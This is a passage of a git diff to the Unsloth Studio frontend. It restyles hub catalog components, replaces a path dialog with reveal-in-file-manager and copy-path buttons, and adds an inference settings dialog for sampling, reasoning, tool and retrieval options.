                           </TooltipTrigger>
-                          <TooltipContent side="left" className="tooltip-compact">
+                          <TooltipContent
+                            side="left"
+                            className="tooltip-compact"
+                          >
                             Remove from list
                           </TooltipContent>
                         </Tooltip>
diff --git a/studio/frontend/src/features/hub/catalog/owner-avatar.tsx b/studio/frontend/src/features/hub/catalog/owner-avatar.tsx
index 852c09ab5f..ac8bee9ade 100644
--- a/studio/frontend/src/features/hub/catalog/owner-avatar.tsx
+++ b/studio/frontend/src/features/hub/catalog/owner-avatar.tsx
@@ -13,10 +13,10 @@ import {
 type AvatarSize = "xs" | "sm" | "md" | "lg";
 
 const SIZES: Record<AvatarSize, string> = {
-  xs: "size-5 rounded-[8px] text-[9px]",
-  sm: "size-7 rounded-[10px] text-[11px]",
-  md: "size-9 rounded-[12px] text-[13px]",
-  lg: "size-12 rounded-[15px] text-[16px]",
+  xs: "size-5 rounded-[8px] text-ui-9",
+  sm: "size-7 rounded-[10px] text-ui-11",
+  md: "size-9 rounded-[12px] text-ui-13",
+  lg: "size-12 rounded-[15px] text-ui-16",
 };
 
 const AVATAR_IMAGE_RETRY_BASE_MS = 60_000;
diff --git a/studio/frontend/src/features/hub/catalog/owner-scope-toggle.tsx b/studio/frontend/src/features/hub/catalog/owner-scope-toggle.tsx
index 5f36f5d031..d2870a09c4 100644
--- a/studio/frontend/src/features/hub/catalog/owner-scope-toggle.tsx
+++ b/studio/frontend/src/features/hub/catalog/owner-scope-toggle.tsx
@@ -29,7 +29,7 @@ export function OwnerScopeToggle({
       ariaLabel="Publisher scope"
       align="end"
       // Extra gap before the chevron; min-width keeps the pill readable.
-      className="h-8 min-w-[96px] gap-1.5 text-[11.5px]"
+      className="h-8 min-w-[96px] gap-1.5 text-ui-11p5"
     />
   );
 }
diff --git a/studio/frontend/src/features/hub/catalog/path-info-button.tsx b/studio/frontend/src/features/hub/catalog/path-info-button.tsx
index 0d5ca6e00e..403bb0148e 100644
--- a/studio/frontend/src/features/hub/catalog/path-info-button.tsx
+++ b/studio/frontend/src/features/hub/catalog/path-info-button.tsx
@@ -1,38 +1,83 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-import {
-  Dialog,
-  DialogContent,
-  DialogDescription,
-  DialogHeader,
-  DialogTitle,
-} from "@/components/ui/dialog";
 import {
   Tooltip,
   TooltipContent,
   TooltipTrigger,
 } from "@/components/ui/tooltip";
+import { usePlatformStore } from "@/config/env";
+import { revealCachedModel } from "@/features/chat";
+import { toast } from "@/lib/toast";
 import { cn } from "@/lib/utils";
-import { Copy01Icon, FolderSearchIcon } from "@hugeicons/core-free-icons";
+import { Copy01Icon, Folder01Icon } from "@hugeicons/core-free-icons";
 import { Tick02Icon } from "@/lib/tick-icon";
 import { HugeiconsIcon } from "@hugeicons/react";
 import type { MouseEvent } from "react";
-import { useState } from "react";
 import { useCopyFeedback } from "../hooks/use-copy-feedback";
 
+/** Reveal a cached repo (or one GGUF variant's file) in the OS file manager.
+ *  Resolved server-side from the HF cache, so only managed repos qualify. */
+export function RevealPathButton({
+  repoId,
+  variant,
+  className,
+}: {
+  repoId: string;
+  variant?: string | null;
+  className?: string;
+}) {
+  const deviceType = usePlatformStore((s) => s.deviceType);
+  const revealLabel =
+    deviceType === "mac"
+      ? "Reveal in Finder"
+      : deviceType === "windows"
+        ? "Reveal in File Explorer"
+        : "Reveal in File Manager";
+
+  return (
+    <Tooltip>
+      <TooltipTrigger asChild={true}>
+        <button
+          type="button"
+          aria-label={revealLabel}
+          onClick={(e) => {
+            e.stopPropagation();
+            revealCachedModel(repoId, variant ?? undefined).catch((err) => {
+              toast.error(
+                err instanceof Error
+                  ? err.message
+                  : "Failed to open file manager",
+              );
+            });
+          }}
+          className={cn(
+            "inline-flex size-7 shrink-0 cursor-pointer items-center justify-center rounded-full text-muted-foreground opacity-0 transition-[opacity,background-color,color] duration-150 hover:bg-muted hover:text-foreground focus-visible:opacity-100 group-hover/dl:opacity-100",
+            className,
+          )}
+        >
+          <HugeiconsIcon
+            icon={Folder01Icon}
+            strokeWidth={1.75}
+            className="size-4"
+          />
+        </button>
+      </TooltipTrigger>
+      <TooltipContent side="bottom" className="tooltip-compact">
+        {revealLabel}
+      </TooltipContent>
+    </Tooltip>
+  );
+}
+
+/** Copies the on-disk path straight to the clipboard, no dialog. */
 export function PathInfoButton({
   path,
-  title = "On-device location",
-  description = "Where this model lives on disk.",
   className,
 }: {
   path: string;
-  title?: string;
-  description?: string;
   className?: string;
 }) {
-  const [open, setOpen] = useState(false);
   const { copied, copy } = useCopyFeedback();
 
   const handleCopy = async (event: MouseEvent<HTMLButtonElement>) => {
@@ -42,67 +87,27 @@ export function PathInfoButton({
   };
 
   return (
-    <>
-      <Tooltip>
-        <TooltipTrigger asChild={true}>
-          <button
-            type="button"
-            aria-label="Show on-device path"
-            onClick={(e) => {
-              e.stopPropagation();
-              setOpen(true);
-            }}
-            className={cn(
-              "inline-flex size-7 shrink-0 cursor-pointer items-center justify-center rounded-full text-muted-foreground opacity-0 transition-[opacity,background-color,color] duration-150 hover:bg-muted hover:text-foreground focus-visible:opacity-100 group-hover/dl:opacity-100",
-              className,
-            )}
-          >
-            <HugeiconsIcon
-              icon={FolderSearchIcon}
-              strokeWidth={1.75}
-              className="size-4"
-            />
-          </button>
-        </TooltipTrigger>
-        <TooltipContent side="bottom" className="tooltip-compact">
-          Show path
-        </TooltipContent>
-      </Tooltip>
-      <Dialog open={open} onOpenChange={setOpen}>
-        <DialogContent
-          className="sm:max-w-[520px]"
-          onClick={(e) => e.stopPropagation()}
+    <Tooltip>
+      <TooltipTrigger asChild={true}>
+        <button
+          type="button"
+          aria-label="Copy on-device path"
+          onClick={handleCopy}
+          className={cn(
+            "inline-flex size-7 shrink-0 cursor-pointer items-center justify-center rounded-full text-muted-foreground opacity-0 transition-[opacity,background-color,color] duration-150 hover:bg-muted hover:text-foreground focus-visible:opacity-100 group-hover/dl:opacity-100",
+            className,
+          )}
         >
-          <DialogHeader>
-            <DialogTitle>{title}</DialogTitle>
-            <DialogDescription>{description}</DialogDescription>
-          </DialogHeader>
-          <div className="flex items-stretch gap-2">
-            <div className="flex-1 select-text rounded-[10px] border border-border bg-muted/30 px-3 py-2.5 text-[12px] leading-5 text-foreground/85 break-all">
-              {path}
-            </div>
-            <Tooltip>
-              <TooltipTrigger asChild={true}>
-                <button
-                  type="button"
-                  aria-label="Copy path"
-                  onClick={handleCopy}
-                  className="inline-flex shrink-0 cursor-pointer items-center justify-center rounded-[10px] border border-border bg-muted/30 px-3 text-muted-foreground transition-colors hover:bg-muted hover:text-foreground"
-                >
-                  <HugeiconsIcon
-                    icon={copied ? Tick02Icon : Copy01Icon}
-                    strokeWidth={1.75}
-                    className="size-4"
-                  />
-                </button>
-              </TooltipTrigger>
-              <TooltipContent side="bottom" className="tooltip-compact">
-                {copied ? "Copied" : "Copy path"}
-              </TooltipContent>
-            </Tooltip>
-          </div>
-        </DialogContent>
-      </Dialog>
-    </>
+          <HugeiconsIcon
+            icon={copied ? Tick02Icon : Copy01Icon}
+            strokeWidth={1.75}
+            className="size-4"
+          />
+        </button>
+      </TooltipTrigger>
+      <TooltipContent side="bottom" className="tooltip-compact">
+        {copied ? "Copied" : "Copy path"}
+      </TooltipContent>
+    </Tooltip>
   );
 }
diff --git a/studio/frontend/src/features/hub/catalog/recent-searches.tsx b/studio/frontend/src/features/hub/catalog/recent-searches.tsx
index 28f4d71510..a7fd10900f 100644
--- a/studio/frontend/src/features/hub/catalog/recent-searches.tsx
+++ b/studio/frontend/src/features/hub/catalog/recent-searches.tsx
@@ -30,13 +30,13 @@ export function RecentSearches({
       onMouseDown={(event) => event.preventDefault()}
     >
       <div className="flex items-center justify-between gap-2 px-2.5 pb-1.5 pt-1">
-        <span className="text-[11px] font-semibold uppercase tracking-[0.04em] text-muted-foreground/70">
+        <span className="text-ui-11 font-semibold uppercase tracking-[0.04em] text-muted-foreground/70">
           Recent searches
         </span>
         <button
           type="button"
           onClick={onClear}
-          className="hub-recent-clear rounded-full px-2 py-0.5 text-[11.5px] font-medium text-muted-foreground transition-colors hover:text-foreground"
+          className="hub-recent-clear rounded-full px-2 py-0.5 text-ui-11p5 font-medium text-muted-foreground transition-colors hover:text-foreground"
         >
           Clear all
         </button>
@@ -55,7 +55,7 @@ export function RecentSearches({
                   strokeWidth={1.75}
                   className="size-4 shrink-0 text-muted-foreground/70"
                 />
-                <span className="truncate text-[13px] text-foreground">
+                <span className="truncate text-ui-13 text-foreground">
                   {query}
                 </span>
               </button>
diff --git a/studio/frontend/src/features/hub/catalog/safetensors-download-card.tsx b/studio/frontend/src/features/hub/catalog/safetensors-download-card.tsx
index ccd61c5f04..94c5175e8e 100644
--- a/studio/frontend/src/features/hub/catalog/safetensors-download-card.tsx
+++ b/studio/frontend/src/features/hub/catalog/safetensors-download-card.tsx
@@ -7,34 +7,36 @@ import {
   TooltipContent,
   TooltipTrigger,
 } from "@/components/ui/tooltip";
-import { useRepoDownload } from "../download-manager";
-import { deleteCachedModel } from "../inventory";
 import { cn } from "@/lib/utils";
 import {
   Alert02Icon,
-  PencilEdit02Icon,
   PlayIcon,
+  RemoveCircleIcon,
 } from "@hugeicons/core-free-icons";
-import { TrainIcon } from "../components/train-icon";
-import { HUB_POST_DOWNLOAD_ACTIONS_VISIBLE } from "../lib/hub-feature-flags";
 import { HugeiconsIcon } from "@hugeicons/react";
 import { useEffect, useState } from "react";
-import { useHfTokenStore } from "../stores/hf-token-store";
+import { TrainIcon } from "../components/train-icon";
+import { useRepoDownload } from "../download-manager";
+import { useOnlineStatus } from "../hooks/use-online-status";
+import { deleteCachedModel } from "../inventory";
+import type { ModelInventoryFormat } from "../inventory";
 import { fetchModelSize } from "../lib/dataset-size";
 import { formatBytes } from "../lib/format";
+import {
+  HUB_NON_GGUF_RUN_ACTIONS_VISIBLE,
+  HUB_POST_DOWNLOAD_ACTIONS_VISIBLE,
+} from "../lib/hub-feature-flags";
 import { fingerprintToken } from "../lib/token-fingerprint";
-import { useOnlineStatus } from "../hooks/use-online-status";
+import { useHfTokenStore } from "../stores/hf-token-store";
+import { DotTag } from "./dot-tag";
 import {
   CardDivider,
-  CardDeleteButton,
   DeleteConfirmDialog,
   DownloadActionButton,
   DownloadCard,
 } from "./download-card";
-import { DotTag } from "./dot-tag";
-import { PathInfoButton } from "./path-info-button";
+import { QuantOptionsMenu } from "./gguf-download-card";
 import { useCardDelete } from "./use-card-delete";
-import type { ModelInventoryFormat } from "../inventory";
 import { useDownloadCardState } from "./use-download-card-state";
 
 function formatModelLabel(modelFormat?: ModelInventoryFormat | null): string {
@@ -62,7 +64,7 @@ export function SafetensorsDownloadCard({
   cachePath,
   knownBytes,
   onLoad,
-  onUseInChat,
+  onEject,
   onTrain,
   onChange,
 }: {
@@ -74,10 +76,13 @@ export function SafetensorsDownloadCard({
   canRun?: boolean;
   isActive: boolean;
   isLoadingThisModel: boolean;
+  /** Owning cache dir, threaded into delete so it targets this copy. */
   cachePath?: string | null;
   knownBytes?: number | null;
   onLoad: (opts: { ggufVariant?: string; expectedBytes?: number }) => void;
+  /** Accepted for API parity; the run bar ejects instead of opening chat. */
   onUseInChat?: () => void;
+  onEject?: () => void;
   onTrain?: () => void;
   onChange?: () => void;
 }) {
@@ -92,11 +97,12 @@ export function SafetensorsDownloadCard({
     knownBytes && knownBytes > 0
       ? knownBytes
       : modelSize.key === sizeKey
-      ? modelSize.bytes
-      : null;
+        ? modelSize.bytes
+        : null;
   const [deleteRepoOpen, setDeleteRepoOpen] = useState(false);
   const { deleting, runDelete } = useCardDelete({
-    action: () => deleteCachedModel(repoId, undefined, hfToken || undefined),
+    action: () =>
+      deleteCachedModel(repoId, undefined, hfToken || undefined, cachePath ?? undefined),
     resourceName: "model",
     successMessage: () => `Deleted ${repoId}`,
     onSuccess: () => {
@@ -158,6 +164,7 @@ export function SafetensorsDownloadCard({
   const showActionPair = isDownloaded && !downloading && (canRun || !!onTrain);
   const showUnavailableAction =
     isDownloaded && !downloading && !canRun && !onTrain;
+  const trainActionVisible = !!onTrain && HUB_POST_DOWNLOAD_ACTIONS_VISIBLE;
   const canDelete =
     (isDownloaded || isPartial) &&
     !downloading &&
@@ -166,7 +173,8 @@ export function SafetensorsDownloadCard({
     !isLoadingThisModel;
 
   return (
-    <div className="flex w-full flex-col gap-2"><DownloadCard
+    <div className="flex w-full flex-col gap-2">
+      <DownloadCard
         job={job}
         progress={downloading ? progress : null}
         dialogs={
@@ -193,7 +201,7 @@ export function SafetensorsDownloadCard({
         }
       >
         <div className="relative flex h-9 min-w-0 flex-1 items-center pl-3 pr-2">
-          <span className="flex items-center gap-1.5 text-[12px] text-muted-foreground">
+          <span className="flex items-center gap-1.5 text-ui-12 text-muted-foreground">
             {(isActive || isDownloaded) && (
               <DotTag
                 tone="success"
@@ -202,7 +210,7 @@ export function SafetensorsDownloadCard({
             )}
             {!isDownloaded && !isActive && isPartial && !downloading && (
               <Tooltip>
-                <TooltipTrigger asChild>
+                <TooltipTrigger asChild={true}>
                   <span className="inline-flex">
                     <DotTag tone="warning" label="Partial" />
                   </span>
@@ -223,32 +231,35 @@ export function SafetensorsDownloadCard({
             )}
           </span>
           <div className="ml-auto flex items-center gap-0.5">
-            {canDelete && (
-              <CardDeleteButton
-                label={`Delete ${repoId}`}
-                onClick={() => setDeleteRepoOpen(true)}
-              />
-            )}
-            {isDownloaded && cachePath && (
-              <PathInfoButton
-                path={cachePath}
-                title="On-device location"
-                description={`Where ${repoId} lives on disk.`}
+            {/* TODO: inference settings gear hidden for now, work on it in a future PR. */}
+            {/* Same 3-dots menu as GGUF, at repo level (no quant); pinning is
+                omitted in the run bar. Managed HF-cache repos only. */}
+            {(isDownloaded || (isPartial && !downloading)) &&
+              !/^([/\\~.]|[A-Za-z]:)/.test(repoId) && (
+              <QuantOptionsMenu
+                repoId={repoId}
+                label={repoId}
+                downloaded={isDownloaded}
+                canDelete={canDelete}
+                onDelete={() => setDeleteRepoOpen(true)}
+                showPin={false}
+                buttonClassName="ml-0.5 size-7"
+                iconClassName="size-4"
               />
             )}
           </div>
         </div>
-        {/* Divider sits above the Download CTA; in the action-pair state it hides with the pair. */}
-        {(!showActionPair || HUB_POST_DOWNLOAD_ACTIONS_VISIBLE) && <CardDivider />}
+        {/* Info/actions hairline; dropped for the run action row (no divider before
+            Run, as in the GGUF card's Run CTA), restored when the Train pair ships. */}
+        {(!showActionPair || trainActionVisible) && <CardDivider />}
         {showActionPair ? (
           <div
             className={cn(
               "group/pair flex h-9 shrink-0 items-stretch gap-1.5",
-              // Run+Train pair hidden until Hub→chat / Hub→train pickers ship.
-              !HUB_POST_DOWNLOAD_ACTIONS_VISIBLE && "hidden",
+              !HUB_NON_GGUF_RUN_ACTIONS_VISIBLE && "hidden",
             )}
           >
-            {onTrain && (
+            {trainActionVisible && (
               <button
                 type="button"
                 onClick={onTrain}
@@ -264,7 +275,7 @@ export function SafetensorsDownloadCard({
               onClick={() => {
                 if (!canRun) return;
                 if (isActive) {
-                  onUseInChat?.();
+                  onEject?.();
                   return;
                 }
                 onLoad({});
@@ -283,26 +294,26 @@ export function SafetensorsDownloadCard({
                 </>
               ) : isActive ? (
                 <>
-                  <HugeiconsIcon icon={PencilEdit02Icon} strokeWidth={1.75} />
-                  Chat
+                  <HugeiconsIcon icon={RemoveCircleIcon} strokeWidth={1.75} />
+                  Eject
                 </>
-              ) : !canRun ? (
-                <>
-                  <HugeiconsIcon icon={Alert02Icon} strokeWidth={1.75} />
-                  No run
-                </>
-              ) : (
+              ) : canRun ? (
                 <>
                   <HugeiconsIcon icon={PlayIcon} strokeWidth={1.75} />
                   Run
                 </>
+              ) : (
+                <>
+                  <HugeiconsIcon icon={Alert02Icon} strokeWidth={1.75} />
+                  No run
+                </>
               )}
             </button>
           </div>
         ) : showUnavailableAction ? (
           <button
             type="button"
-            disabled
+            disabled={true}
             className="hub-action-btn w-28 opacity-70"
           >
             <HugeiconsIcon icon={Alert02Icon} strokeWidth={1.75} />
diff --git a/studio/frontend/src/features/hub/catalog/sampling-settings-dialog.tsx b/studio/frontend/src/features/hub/catalog/sampling-settings-dialog.tsx
new file mode 100644
index 0000000000..bc86a6302c
--- /dev/null
+++ b/studio/frontend/src/features/hub/catalog/sampling-settings-dialog.tsx
@@ -0,0 +1,435 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+// Gear button for the GGUF run bar: model config, system prompt, reasoning,
+// sampling, tools and retrieval, using the same controls as the chat page's
+// Run settings. Edits write to the chat runtime store's persisted state.
+
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogHeader,
+  DialogTitle,
+} from "@/components/ui/dialog";
+import { InfoHint } from "@/components/ui/info-hint";
+import { Switch } from "@/components/ui/switch";
+import { Textarea } from "@/components/ui/textarea";
+import {
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger,
+} from "@/components/ui/tooltip";
+import {
+  ParamSlider,
+  useChatModelRuntime,
+  useChatRuntimeStore,
+} from "@/features/chat";
+import {
+  type PerModelConfig,
+  SidebarModelConfig,
+  applyPerModelConfigToRuntime,
+  currentRuntimePerModelConfig,
+  useActiveModelConfig,
+} from "@/features/model-picker";
+import { RetrievalSettingsSection } from "@/features/rag";
+import { toast } from "@/lib/toast";
+import { cn } from "@/lib/utils";
+import { Settings02Icon } from "@hugeicons/core-free-icons";
+import { HugeiconsIcon } from "@hugeicons/react";
+import { type ReactNode, useCallback, useState } from "react";
+import { HubOptionMenu } from "./hub-option-menu";
+
+function SettingsSection({
+  label,
+  labelClassName,
+  children,
+}: {
+  label: string;
+  labelClassName?: string;
+  children: ReactNode;
+}) {
+  return (
+    <div className="border-t border-border/50 pb-5 pt-5 first:border-t-0 first:pt-0">
+      <div
+        className={cn(
+          "pb-4 text-ui-11 font-semibold uppercase tracking-wider text-muted-foreground",
+          labelClassName,
+        )}
+      >
+        {label}
+      </div>
+      <div className="flex flex-col gap-5">{children}</div>
+    </div>
+  );
+}
+
+function ToggleRow({
+  label,
+  info,
+  checked,
+  disabled,
+  onCheckedChange,
+}: {
+  label: string;
+  info?: string;
+  checked: boolean;
+  disabled?: boolean;
+  onCheckedChange: (checked: boolean) => void;
+}) {
+  return (
+    <div className="flex items-center justify-between gap-3">
+      <div className="flex min-w-0 items-center gap-1.5">
+        <span className="text-ui-13 font-medium text-nav-fg">{label}</span>
+        {info && <InfoHint>{info}</InfoHint>}
+      </div>
+      <Switch
+        checked={checked}
+        disabled={disabled}
+        onCheckedChange={(value) => onCheckedChange(value === true)}
+        aria-label={label}
+      />
+    </div>
+  );
+}
+
+export function SamplingSettingsButton({ className }: { className?: string }) {
+  const [open, setOpen] = useState(false);
+  const params = useChatRuntimeStore((s) => s.params);
+  const setParams = useChatRuntimeStore((s) => s.setParams);
+
+  // Loaded model's per-model config (context length etc.), mirroring the chat
+  // page's Run settings Model section.
+  const { selectModel } = useChatModelRuntime();
+  const modelLoading = useChatRuntimeStore((s) => s.modelLoading);
+  const activeGgufVariant = useChatRuntimeStore((s) => s.activeGgufVariant);
+  const ggufContextLength = useChatRuntimeStore((s) => s.ggufContextLength);
+  const ggufNativeContextLength = useChatRuntimeStore(
+    (s) => s.ggufNativeContextLength,
+  );
+  const {
+    checkpoint,
+    isGguf: activeModelIsGguf,
+    config: activeModelConfig,
+  } = useActiveModelConfig();
+  const handleReloadActiveModel = useCallback(
+    (config: PerModelConfig) => {
+      const runtime = useChatRuntimeStore.getState();
+      const activeCheckpoint = runtime.params.checkpoint;
+      if (!activeCheckpoint) return;
+      const nativeToken = runtime.activeNativePathToken;
+      const nativeExpiry = runtime.activeNativePathExpiresAtMs;
+      // Mirrors the chat page: an expired native-path token can't reload.
+      if (nativeToken && nativeExpiry != null && Date.now() >= nativeExpiry) {
+        toast.error("This local model file's access has expired.", {
+          description: "Re-select the model file to reload it.",
+        });
+        return;
+      }
+      // selectModel reads config from the runtime store, not the selection, so
+      // apply it first (snapshotting the current one for rollback).
+      const previousConfig = currentRuntimePerModelConfig({
+        includeMaxSeqLength: true,
+      });
+      applyPerModelConfigToRuntime(config);
+      void selectModel({
+        id: activeCheckpoint,
+        source: "local",
+        ggufVariant: runtime.activeGgufVariant ?? undefined,
+        nativePathToken: nativeToken ?? undefined,
+        nativePathExpiresAtMs: nativeExpiry,
+        isGguf: activeModelIsGguf,
+        isDownloaded: true,
+        keepSpeculative: true,
+        previousConfig,
+        forceReload: true,
+      });
+    },
+    [selectModel, activeModelIsGguf],
+  );
+
+  // Reasoning + tools: same store bindings as the chat page.
+  const reasoningEnabled = useChatRuntimeStore((s) => s.reasoningEnabled);
+  const reasoningAlwaysOn = useChatRuntimeStore((s) => s.reasoningAlwaysOn);
+  const setReasoningEnabled = useChatRuntimeStore((s) => s.setReasoningEnabled);
+  const reasoningEffort = useChatRuntimeStore((s) => s.reasoningEffort);
+  const reasoningEffortLevels = useChatRuntimeStore(
+    (s) => s.reasoningEffortLevels,
+  );
+  const setReasoningEffort = useChatRuntimeStore((s) => s.setReasoningEffort);
+  const supportsPreserveThinking = useChatRuntimeStore(
+    (s) => s.supportsPreserveThinking,
+  );
+  const preserveThinking = useChatRuntimeStore((s) => s.preserveThinking);
+  const setPreserveThinking = useChatRuntimeStore((s) => s.setPreserveThinking);
+  const maxToolCalls = useChatRuntimeStore((s) => s.maxToolCallsPerMessage);
+  const setMaxToolCalls = useChatRuntimeStore(
+    (s) => s.setMaxToolCallsPerMessage,
+  );
+  const toolCallTimeout = useChatRuntimeStore((s) => s.toolCallTimeout);
+  const setToolCallTimeout = useChatRuntimeStore((s) => s.setToolCallTimeout);
+  const autoHealToolCalls = useChatRuntimeStore((s) => s.autoHealToolCalls);
+  const setAutoHealToolCalls = useChatRuntimeStore(
+    (s) => s.setAutoHealToolCalls,
+  );
+  const nudgeToolCalls = useChatRuntimeStore((s) => s.nudgeToolCalls);
+  const setNudgeToolCalls = useChatRuntimeStore((s) => s.setNudgeToolCalls);
+  const permissionMode = useChatRuntimeStore((s) => s.permissionMode);
+  const setConfirmToolCalls = useChatRuntimeStore((s) => s.setConfirmToolCalls);
+
+  const toolsEnabled = useChatRuntimeStore((s) => s.toolsEnabled);
+  const setToolsEnabled = useChatRuntimeStore((s) => s.setToolsEnabled);
+
+  const set = (key: keyof typeof params) => (value: number) =>
+    setParams({ ...params, [key]: value });
+
+  // Slider 0-41; 41 maps to 9999 ("Max"), mirroring the chat page.
+  const toolCallsSliderValue =
+    maxToolCalls >= 9999 ? 41 : Math.min(maxToolCalls, 40);
+  // Slider 1-31; 31 maps to 9999 ("Max").
+  const timeoutSliderValue =
+    toolCallTimeout >= 9999 ? 31 : Math.min(Math.max(toolCallTimeout, 1), 30);
+
+  return (
+    <>
+      <Tooltip>
+        <TooltipTrigger asChild={true}>
+          <button
+            type="button"
+            aria-label="Inference settings"
+            onClick={(e) => {
+              e.stopPropagation();
+              setOpen(true);
+            }}
+            className={cn(
+              "inline-flex size-7 shrink-0 cursor-pointer items-center justify-center rounded-full text-muted-foreground transition-colors hover:bg-muted hover:text-foreground",
+              className,
+            )}
+          >
+            <HugeiconsIcon
+              icon={Settings02Icon}
+              strokeWidth={1.75}
+              className="size-4"
+            />
+          </button>
+        </TooltipTrigger>
+        <TooltipContent side="bottom" className="tooltip-compact">
+          Inference settings
+        </TooltipContent>
+      </Tooltip>
+      <Dialog open={open} onOpenChange={setOpen}>
+        <DialogContent
+          className="flex max-h-[85vh] flex-col gap-5 sm:max-w-[580px]"
+          onClick={(e) => e.stopPropagation()}
+        >
+          <DialogHeader>
+            <DialogTitle>Inference settings</DialogTitle>
+            <DialogDescription>
+              Applies to chats with local models.
+            </DialogDescription>
+          </DialogHeader>
+          <div className="-mr-2 flex min-h-0 flex-col overflow-y-auto overflow-x-hidden pr-2 [scrollbar-width:thin]">
+            {checkpoint && activeModelConfig && !modelLoading && (
+              <SettingsSection label="Model">
+                <SidebarModelConfig
+                  modelId={checkpoint}
+                  ggufVariant={activeGgufVariant ?? null}
+                  isGguf={activeModelIsGguf}
+                  nativeContextLength={ggufNativeContextLength}
+                  loadedContextLength={ggufContextLength}
+                  loadedConfig={activeModelConfig}
+                  onReload={handleReloadActiveModel}
+                />
+              </SettingsSection>
+            )}
+
+            <SettingsSection label="System Prompt">
+              <Textarea
+                value={params.systemPrompt}
+                onChange={(e) =>
+                  setParams({ ...params, systemPrompt: e.target.value })
+                }
+                placeholder="Instructions sent before every conversation."
+                aria-label="System prompt"
+                className="min-h-[84px] resize-y text-ui-13"
+              />
+            </SettingsSection>
+
+            <SettingsSection label="Reasoning" labelClassName="pb-5">
+              <ToggleRow
+                label="Enable reasoning"
+                checked={reasoningAlwaysOn || reasoningEnabled}
+                disabled={reasoningAlwaysOn}
+                onCheckedChange={setReasoningEnabled}
+              />
+              {reasoningEffortLevels.length > 0 && (
+                <div className="flex items-center justify-between gap-3">
+                  <span className="text-ui-13 font-medium text-nav-fg">
+                    Reasoning effort
+                  </span>
+                  <HubOptionMenu
+                    value={reasoningEffort}
+                    options={reasoningEffortLevels.map((level) => ({
+                      value: level,
+                      label: level.charAt(0).toUpperCase() + level.slice(1),
+                    }))}
+                    onValueChange={setReasoningEffort}
+                    ariaLabel="Reasoning effort"
+                    align="end"
+                    className="h-8 text-ui-11p5"
+                  />
+                </div>
+              )}
+              {supportsPreserveThinking && (
+                <ToggleRow
+                  label="Preserve thinking"
+                  info="Keep earlier turns' reasoning in context so the model can build on it. Uses more context."
+                  checked={preserveThinking}
+                  onCheckedChange={setPreserveThinking}
+                />
+              )}
+            </SettingsSection>
+
+            <SettingsSection label="Sampling">
+              <ParamSlider
+                label="Temperature"
+                value={params.temperature}
+                min={0}
+                max={2}
+                step={0.01}
+                onChange={set("temperature")}
+                info="Controls randomness. Lower values make output focused and deterministic; higher values increase variety and creativity."
+              />
+              <ParamSlider
+                label="Top P"
+                value={params.topP}
+                min={0}
+                max={1}
+                step={0.05}
+                onChange={set("topP")}
+                displayValue={params.topP === 1 ? "Off" : undefined}
+                info="Nucleus sampling. Restricts choices to the smallest set of tokens whose cumulative probability reaches this threshold. 1.0 = off."
+              />
+              <ParamSlider
+                label="Top K"
+                value={params.topK}
+                min={0}
+                max={100}
+                step={1}
+                onChange={set("topK")}
+                displayValue={params.topK === 0 ? "Off" : undefined}
+                info="Limits sampling to the K most likely tokens at each step. 0 = off."
+              />
+              <ParamSlider
+                label="Min P"
+                value={params.minP}
+                min={0}
+                max={1}
+                step={0.01}
+                onChange={set("minP")}
+                info="Drops tokens whose probability is below this fraction of the top token's probability. Filters unlikely candidates."
+              />
+              <ParamSlider
+                label="Repetition Penalty"
+                value={params.repetitionPenalty}
+                min={1}
+                max={2}
+                step={0.05}
+                onChange={set("repetitionPenalty")}
+                displayValue={
+                  params.repetitionPenalty === 1 ? "Off" : undefined
+                }
+                info="Down-weights tokens that have already appeared, reducing repetition. 1.0 = off; higher values penalize more strongly."
+              />
+              <ParamSlider
+                label="Presence Penalty"
+                value={params.presencePenalty}
+                min={0}
+                max={2}
+                step={0.1}
+                onChange={set("presencePenalty")}
+                displayValue={params.presencePenalty === 0 ? "Off" : undefined}
+                info="Penalizes any token that has already appeared at least once, encouraging the model to introduce new topics. 0 = off."
+              />
+              <ParamSlider
+                label="Max Tokens"
+                value={params.maxTokens}
+                min={64}
+                max={131072}
+                step={64}
+                onChange={set("maxTokens")}
+                valueSize={6}
+                info="Maximum number of tokens to generate per response. Generation stops at this limit or when the model emits an end-of-sequence token."
+              />
+            </SettingsSection>
+
+            <SettingsSection label="Tools">
+              <ToggleRow
+                label="Enable tools"
+                info="Master switch for tool use in chat. When off, the model answers without calling any tools."
+                checked={toolsEnabled}
+                onCheckedChange={setToolsEnabled}
+              />
+              <ToggleRow
+                label="Auto-healing tool calls"
+                info="Unsloth auto-fixes broken tool calls so inference output is never broken."
+                checked={autoHealToolCalls}
+                onCheckedChange={setAutoHealToolCalls}
+              />
+              <ToggleRow
+                label="Nudge tool calls"
+                info="When a tool call cannot be repaired, re-ask the model once so the intended tool still runs."
+                checked={nudgeToolCalls}
+                onCheckedChange={setNudgeToolCalls}
+              />
+              <ToggleRow
+                label="Confirm tool calls"
+                info="Pause every local tool call for your approval before it runs. Overridden by Full access."
+                checked={permissionMode === "ask"}
+                disabled={permissionMode === "full"}
+                onCheckedChange={setConfirmToolCalls}
+              />
+              <ParamSlider
+                label="Max Tool Calls Per Message"
+                value={toolCallsSliderValue}
+                min={0}
+                max={41}
+                step={1}
+                onChange={(v) => setMaxToolCalls(v >= 41 ? 9999 : v)}
+                displayValue={
+                  toolCallsSliderValue >= 41
+                    ? "Max"
+                    : toolCallsSliderValue === 0
+                      ? "Off"
+                      : undefined
+                }
+                info="Cap on tool/function calls the model may invoke within a single response. 0 disables tool use; Max removes the cap."
+              />
+              <ParamSlider
+                label="Max Tool Call Duration"
+                value={timeoutSliderValue}
+                min={1}
+                max={31}
+                step={1}
+                onChange={(v) => setToolCallTimeout(v >= 31 ? 9999 : v)}
+                displayValue={
+                  timeoutSliderValue >= 31
+                    ? "Max"
+                    : timeoutSliderValue === 1
+                      ? "1 minute"
+                      : `${timeoutSliderValue} minutes`
+                }
+                valueSize={10}
+                info="Per-call wall-clock limit. Long-running tool executions are terminated when this elapses; the model continues with what completed."
+              />
+            </SettingsSection>
+
+            <SettingsSection label="Retrieval">
+              <RetrievalSettingsSection />
+            </SettingsSection>
+          </div>
+        </DialogContent>
+      </Dialog>
+    </>
+  );
+}
